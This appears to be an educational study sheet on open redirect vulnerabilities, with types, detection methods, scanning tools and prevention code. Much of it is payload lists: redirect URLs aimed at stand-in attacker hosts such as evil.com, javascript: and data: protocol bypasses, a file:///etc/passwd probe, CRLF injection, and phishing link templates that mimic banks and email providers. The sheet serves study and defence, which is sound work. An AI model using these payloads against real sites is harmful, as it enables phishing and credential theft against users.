Open Redirect - Security Study Sheet

📋 Definition

Open Redirect is a vulnerability that occurs when a web application accepts user-controlled input that specifies a link to an external site and uses that link in a redirect. This enables phishing attacks by redirecting users to malicious websites while appearing to originate from a trusted domain.

🎯 Types and Categories

1. URL-based Redirect

- **Description**: Direct URL parameter manipulation
- **Characteristics**:
  - Uses parameters like `?redirect=`, `?url=`, `?next=`
  - Most common and easily exploitable
  - Often found in login/logout flows

2. Header-based Redirect

- **Description**: Manipulation through HTTP headers
- **Characteristics**:
  - Exploits Host header injection
  - Referer header manipulation
  - X-Forwarded-Host exploitation

3. JavaScript-based Redirect

- **Description**: Client-side redirection vulnerabilities
- **Characteristics**:
  - DOM-based manipulation
  - Location object exploitation
  - Window.open() abuse

4. Meta Refresh Redirect

- **Description**: HTML meta tag redirection
- **Characteristics**:
  - Server-side HTML generation
  - Meta refresh tag manipulation
  - Delayed redirection attacks

5. Form-based Redirect

- **Description**: Hidden form field manipulation
- **Characteristics**:
  - POST-based redirections
  - Hidden input manipulation

    - CSRF combined attacks

6. Protocol-based Redirect

- **Description**: Non-HTTP protocol exploitation
- **Characteristics**:
    - javascript: protocol
    - data: protocol
    - file: protocol exploitation

7. Subdomain-based Redirect

- **Description**: Exploiting wildcard subdomain redirects
- **Characteristics**:
    - Wildcard DNS configurations
    - Subdomain takeover combinations
    - Trust relationship exploitation

🎯 Realistic Example Payloads

Basic URL Parameter Attacks

```
# Common parameter names
https://example.com/login?redirect=https://evil.com
https://example.com/logout?next=https://malicious.com
https://example.com/auth?url=https://attacker.com
https://example.com/goto?target=https://phishing.com
https://example.com/forward?destination=https://evil.com

# Double URL encoding
https://example.com/redirect?url=https%253A%252F%252Fevil.com

# Using legitimate subdomain first
https://example.com/redirect?url=https://legitimate.example.com.evil.com
```

Protocol-based Bypasses

```
# JavaScript protocol
https://example.com/redirect?url=javascript:alert('XSS')
https://example.com/redirect?url=javascript:window.location='https://evil.com'

# Data protocol
https://example.com/redirect?url=data:text/html,
<script>location='https://evil.com'</script>

# FTP protocol
https://example.com/redirect?url=ftp://evil.com/
```

```
# File protocol
https://example.com/redirect?url=file:///etc/passwd
```

Domain Bypass Techniques

```
# Using legitimate domain in malicious URL
https://example.com/redirect?url=https://evil.com/example.com
https://example.com/redirect?url=https://evil.com@example.com
https://example.com/redirect?url=https://example.com.evil.com

# Using IP addresses
https://example.com/redirect?url=https://192.168.1.1
https://example.com/redirect?url=https://127.0.0.1

# Using URL shorteners
https://example.com/redirect?url=https://bit.ly/malicious-link

# Using international domains
https://example.com/redirect?url=https://example.com (Cyrillic e)
```

Path Traversal Combinations

```
# Directory traversal
https://example.com/redirect?url=../../../evil.com
https://example.com/redirect?url=....//....//evil.com

# Null byte injection
https://example.com/redirect?url=https://evil.com%00example.com

# CRLF injection
https://example.com/redirect?url=https://evil.com%0D%0A%0D%0A<script>alert('XSS')
</script>
```

Header-based Attacks

```
# Host header injection
GET /redirect HTTP/1.1
Host: evil.com
...

# X-Forwarded-Host manipulation
GET /redirect HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com

# Referer manipulation
```

```
GET /redirect HTTP/1.1
Host: example.com
Referer: https://evil.com/malicious-page
```

Advanced Bypasses

```
# Using fragments
https://example.com/redirect?url=https://example.com#@evil.com

# Multiple slashes
https://example.com/redirect?url=https:///evil.com
https://example.com/redirect?url=https://\evil.com

# Mixed case
https://example.com/redirect?url=HTTPS://EVIL.COM

# Unicode bypasses
https://example.com/redirect?url=https://evil.com%E2%81%90

# Using subdomains
https://example.com/redirect?url=//evil.example.com
https://example.com/redirect?url=//evil.com
```

Phishing Attack Examples

```
# Banking phishing
https://bank.com/logout?redirect=https://bank-security-update.evil.com/login

# Social media phishing
https://social.com/login?next=https://social-verification.attacker.com

# Email provider phishing
https://mail.com/auth?url=https://mail-security.evil.com/verify

# E-commerce phishing
https://shop.com/checkout?return=https://shop-payment.malicious.com
```

JavaScript-based Redirects

```html
<!-- Location manipulation -->
<script>location = 'https://evil.com';</script>
<script>location.href = 'https://evil.com';</script>
<script>window.location = 'https://evil.com';</script>

<!-- setTimeout redirect -->
<script>setTimeout(() => location='https://evil.com', 1000);</script>
```

```html
<!-- Form-based redirect -->
<form action="https://evil.com" method="POST" id="redirect-form">
<script>document.getElementById('redirect-form').submit();</script>
```

Meta Refresh Attacks

```html
<!-- Immediate redirect -->
<meta http-equiv="refresh" content="0;URL=https://evil.com">

<!-- Delayed redirect -->
<meta http-equiv="refresh" content="5;URL=https://evil.com">

<!-- Combined with legitimate content -->
<meta http-equiv="refresh" content="3;URL=https://evil.com">
<p>Redirecting to secure payment portal...</p>
```

🔍 Manual Detection Methods

1. Parameter Fuzzing

- **Method**: Test all URL parameters for redirect functionality
- **Common parameters**:
  - `redirect`, `url`, `next`, `goto`, `return`
  - `target`, `destination`, `forward`, `continue`
  - `success_url`, `failure_url`, `callback`

2. Endpoint Discovery

- **Method**: Find redirect endpoints throughout the application
- **Common locations**:
  - Login/logout pages
  - Authentication flows
  - Payment processing
  - External link handlers

3. Bypass Testing

- **Method**: Test various bypass techniques
- **Tests**:
  - Protocol manipulation
  - Domain spoofing
  - Encoding variations
  - Path traversal

4. Source Code Analysis

- **Look for**:
  - `header('Location: ')` in PHP
  - `response.redirect()` in Node.js
  - `HttpServletResponse.sendRedirect()` in Java
  - `redirect()` functions in frameworks

5. Response Analysis

- **Method**: Check HTTP response headers
- **Headers to examine**:
  - `Location:`
  - `Refresh:`
  - Custom redirect headers

6. JavaScript Review

- **Look for**:
  - `window.location` assignments
  - `location.href` modifications
  - Dynamic redirect generation

🛠 Recommended Open-Source Tools

1. **OpenRedireX**

- **GitHub**: https://github.com/devanshbatham/OpenRedireX
- **Description**: Fuzzer for detecting open redirect vulnerabilities
- **Usage**: `echo "https://example.com" | openredirex`

2. **Oralyzer**

- **GitHub**: https://github.com/r0oth3x49/oralyzer
- **Description**: Open redirect analyzer and exploitation tool
- **Usage**: `python3 oralyzer.py -u http://example.com -p payloads.txt`

3. **Open-Redirect-Scanner**

- **GitHub**: https://github.com/Proviesec/open-redirect-scanner
- **Description**: Automated open redirect vulnerability scanner
- **Usage**: `python3 scanner.py -u http://example.com`

4. **Burp Suite Community**

- **Website**: https://portswigger.net/burp/communitydownload
- **Description**: Web application security testing platform
- **Features**: Manual testing with intruder and repeater

5. **OWASP ZAP**

- **GitHub**: https://github.com/zaproxy/zaproxy

- **Description**: Comprehensive security testing proxy
- **Features**: Automated scanning for open redirects

6. **ffuf**

- **GitHub**: https://github.com/ffuf/ffuf
- **Description**: Fast web fuzzer written in Go
- **Usage**: `ffuf -u http://example.com/redirect?url=FUZZ -w payloads.txt`

7. **Nuclei**

- **GitHub**: https://github.com/projectdiscovery/nuclei
- **Description**: Fast vulnerability scanner
- **Usage**: `nuclei -u http://example.com -t nuclei-templates/vulnerabilities/`

8. **waybackurls**

- **GitHub**: https://github.com/tomnomnom/waybackurls
- **Description**: Fetch URLs from Wayback Machine
- **Usage**: Find historical redirect endpoints

9. **gau (Get All URLs)**

- **GitHub**: https://github.com/lc/gau
- **Description**: Fetch known URLs for a domain
- **Usage**: `gau example.com | grep -E "(redirect|url|next|goto)"`

10. **ParamSpider**

- **GitHub**: https://github.com/devanshbatham/ParamSpider
- **Description**: Parameter discovery tool
- **Usage**: `python3 paramspider.py -d example.com`

🛡 Prevention Techniques

1. Whitelist Validation

```python
# Python example
ALLOWED_DOMAINS = ['example.com', 'trusted-partner.com']

def safe_redirect(url):
    from urllib.parse import urlparse
    parsed = urlparse(url)
    if parsed.netloc in ALLOWED_DOMAINS:
        return redirect(url)
    else:
        return redirect('/error')
```

2. Relative URL Validation

```javascript
// JavaScript example
function validateRedirect(url) {
    // Only allow relative URLs
    if (url.startsWith('/') && !url.startsWith('//')) {
        window.location = url;
    } else {
        window.location = '/error';
    }
}
```

3. Token-based Validation

```php
<?php
// PHP example
function generateRedirectToken($url) {
    return hash_hmac('sha256', $url, SECRET_KEY);
}

function validateRedirectToken($url, $token) {
    return hash_equals(generateRedirectToken($url), $token);
}
?>
```

4. URL Parsing Validation

```java
// Java example
public boolean isValidRedirectUrl(String url) {
    try {
        URL parsedUrl = new URL(url);
        String host = parsedUrl.getHost();
        return ALLOWED_HOSTS.contains(host);
    } catch (MalformedURLException e) {
        return false;
    }
}
```

🎓 Study Tips for Interviews & Certifications

Key Points to Remember:

1. **Impact**: Phishing attacks, credential theft, malware distribution
2. **Common locations**: Authentication flows, logout pages, external links
3. **Prevention**: Whitelist validation, relative URLs, token verification
4. **Business impact**: Brand reputation damage, user trust loss

Common Interview Questions:

- "How does open redirect differ from XSS?"
- "What are effective mitigation strategies for open redirects?"
- "How would you test for open redirect vulnerabilities?"
- "Can open redirects be chained with other vulnerabilities?"

Practical Demonstration:

Be prepared to show open redirect detection and create proof-of-concepts.

Real-world Examples:

- OAuth redirect_uri manipulation
- Social media login flows
- E-commerce checkout redirects
- Password reset workflows

This study sheet covers Open Redirect vulnerabilities comprehensively for security professionals, bug bounty hunters, and cybersecurity students.